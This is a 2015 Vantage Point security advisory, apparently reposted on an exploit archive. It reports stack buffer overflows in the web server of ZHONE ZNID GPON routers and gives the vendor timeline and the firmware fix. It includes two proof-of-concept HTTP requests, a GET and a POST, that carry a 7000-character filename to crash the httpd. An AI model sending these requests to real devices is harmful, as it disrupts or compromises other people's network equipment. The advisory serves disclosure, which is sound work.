ZHONE < S3.0.501 - Multiple Remote Code Execution Vulnerabilities

ID 1337DAY-ID-24449
Type zdt
Reporter Lyon Yang
Modified 2015-10-16T00:00:00


Exploit for hardware platform in category dos / poc

                                            Vantage Point Security Advisory 2015-003
Title: Multiple Remote Code Execution found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: High
Vendor notified: Yes
Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>
ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to
the use of unsafe string functions without sufficient input validation
in the httpd binary. Two exploitable conditions were discovered when
requesting a large (7000) character filename ending in .cgi, .tst,
.html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage
Point has developed working code execution exploits for these issues.
1. Stack Overflow via HTTP GET Request
GET /.cmd?AAAA…..AAAA<7000 Characters> HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive
2. Stack Overflow via HTTP POST Request
POST /.cgi HTTP/1.1
Accept-Encoding: gzip, deflate
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438
AAAA…..AAAA<7000 Characters>
Fix Information:
Upgrade to version S3.1.241
2015/04: Issues reported to Zhone
2015/06: Requested Update
2015/08: Requested Update
2015/09: Requested Update
2015/10: Confirm that all issues has been fixed

#  0day.today [2016-04-19]  #